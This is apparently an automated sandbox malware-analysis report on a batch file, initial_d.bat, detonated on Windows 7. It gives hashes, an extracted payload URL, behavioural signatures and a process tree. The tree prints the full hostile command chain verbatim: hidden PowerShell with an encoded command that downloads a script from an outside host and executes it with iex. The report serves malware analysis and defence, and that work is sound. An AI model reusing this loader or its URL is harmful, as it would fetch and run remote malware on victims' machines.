Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09-01-2025 00:41
Static task
static1
Behavioral task
behavioral1
Sample
initial_d.bat
Resource
win7-20240903-en
General
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Target
initial_d.bat
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Size
838B
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MD5
b8c74b6c596351ca5bd46c0bb6e98dfd
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SHA1
6cb4b41a78059c30be91f2464bf790244a1c99d7
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SHA256
babe2715fa636ffaf699ed8176d8ca007b94defdc2ed41fb138803c8847094f4
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SHA512
22b256cb20232d00c9e2085a6d54404f3a2a2167931a637e4880054ac75605d15c38f004a69038e70366bd145c755aafef2047b79c7ab72e61566364a1df9610
Malware Config
Extracted
https://s7.klipdywoziy.shop/hukk7.jpeg
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 2916 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2916 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2744 powershell.exe 2728 powershell.exe 2728 powershell.exe 2728 powershell.exe 2916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2744 powershell.exe Token: SeDebugPrivilege 2728 powershell.exe Token: SeDebugPrivilege 2916 powershell.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3068 wrote to memory of 2160 3068 cmd.exe 31 PID 3068 wrote to memory of 2160 3068 cmd.exe 31 PID 3068 wrote to memory of 2160 3068 cmd.exe 31 PID 2160 wrote to memory of 2744 2160 cmd.exe 32 PID 2160 wrote to memory of 2744 2160 cmd.exe 32 PID 2160 wrote to memory of 2744 2160 cmd.exe 32 PID 2744 wrote to memory of 2728 2744 powershell.exe 34 PID 2744 wrote to memory of 2728 2744 powershell.exe 34 PID 2744 wrote to memory of 2728 2744 powershell.exe 34 PID 2728 wrote to memory of 2916 2728 powershell.exe 35 PID 2728 wrote to memory of 2916 2728 powershell.exe 35 PID 2728 wrote to memory of 2916 2728 powershell.exe 35 PID 2728 wrote to memory of 2916 2728 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\initial_d.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Windows\system32\cmd.execmd.exe /k start powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;2⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2916
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5bd425134fabc4598a1d7774fc1697a87
SHA1b893b35ca9b2d797f658a2ad1e4b62573c9154f7
SHA256648c31eefca5a4ce8391131578e3865b99b914c994e72b467e9bb3ca41e7c989
SHA5128197fb3b2c3c802e029c0b73970cf630ca0a0d7bd3fa57afb4e8b1183089fe73c1f58b584c253c5570661bdfb3274235cd658afdf2c60be88fedac6efe4c5f1e